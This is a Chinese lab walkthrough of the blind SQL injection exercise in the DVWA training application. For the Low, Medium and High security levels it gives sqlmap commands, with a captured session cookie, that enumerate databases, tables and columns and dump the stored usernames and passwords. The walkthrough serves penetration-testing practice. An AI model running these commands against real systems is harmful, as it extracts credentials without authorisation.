DVWA之SQL盲注通关教程

SQL盲注

SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
工具注入:

Sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等。

Low等级

使用bp截取cookie信息

DVWA之SQL盲注通关教程_第1张图片

启动sqlmap,在上图中复制URL和cookie,在sqlmap中输入:sqlmap –u ‘复制的URL’ --cookie=’复制的cookie’ 。

sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=hvj6i1bmhi491rnl1s960qj875"

DVWA之SQL盲注通关教程_第2张图片

获取当前数据库名

sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" --current-db

DVWA之SQL盲注通关教程_第3张图片

获得当前数据库名:dvwa

获取表名

sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" -D 'dvwa' --tables

DVWA之SQL盲注通关教程_第4张图片

获得表名:guestbook表和users表

获取列名

sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" -D 'dvwa' -T 'users' --columns

DVWA之SQL盲注通关教程_第5张图片

获得字段名:user,password等

获取数据

sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" -D 'dvwa' -T 'users' -C 'user,password' --dump

DVWA之SQL盲注通关教程_第6张图片

获得用户名和密码

Medium等级

使用bp抓包分析,查看到是post方式提交数据。

DVWA之SQL盲注通关教程_第7张图片

这里使用的是post方式进行传输,所以需要使用–data参数把提交的数据引入

获取当前数据库名

sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/#" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" --current-db

DVWA之SQL盲注通关教程_第8张图片

获取表名

sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/#" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" -D 'dvwa' --tables

DVWA之SQL盲注通关教程_第9张图片

获取列名

sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/#" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" -D 'dvwa' -T 'users' --columns

DVWA之SQL盲注通关教程_第10张图片

获取数据

sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/#" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" -D 'dvwa' -T 'users' -C 'user,password' --dump

DVWA之SQL盲注通关教程_第11张图片

High等级

DVWA之SQL盲注通关教程_第12张图片

其中数据提交的页面和查询结果显示的页面是分离成了2个不同的窗口控制的。即在查询提交窗口提交数据后(POST请求),结果的结果在另外一个窗口展示(GET请求)。

使用bp抓包

DVWA之SQL盲注通关教程_第13张图片

此时需要利用其非常规的命令联合操作,如:-–second-url=“提交页面的url”(设置二阶响应的结果显示页面的url)

获取当前数据库名

sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="id=1; security=high; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" --second-url="http://192.168.16.136/dv/vulnerabilities/sqli_blind/cookie-input.php#" --current-db

DVWA之SQL盲注通关教程_第14张图片

获取表名

sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="id=1; security=high; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" --second-url="http://192.168.16.136/dv/vulnerabilities/sqli_blind/cookie-input.php#" -D 'dvwa' --tables

DVWA之SQL盲注通关教程_第15张图片

获取列名

sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="id=1; security=high; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" --second-url="http://192.168.16.136/dv/vulnerabilities/sqli_blind/cookie-input.php#" -D 'dvwa' -T 'users' --columns

DVWA之SQL盲注通关教程_第16张图片

获取数据

sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="id=1; security=high; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" --second-url="http://192.168.16.136/dv/vulnerabilities/sqli_blind/cookie-input.php#" -D 'dvwa' -T 'users' -C 'user,password' --dump

DVWA之SQL盲注通关教程_第17张图片

你可能感兴趣的:(DVWA,sql,数据库,安全,网络安全,web安全,php)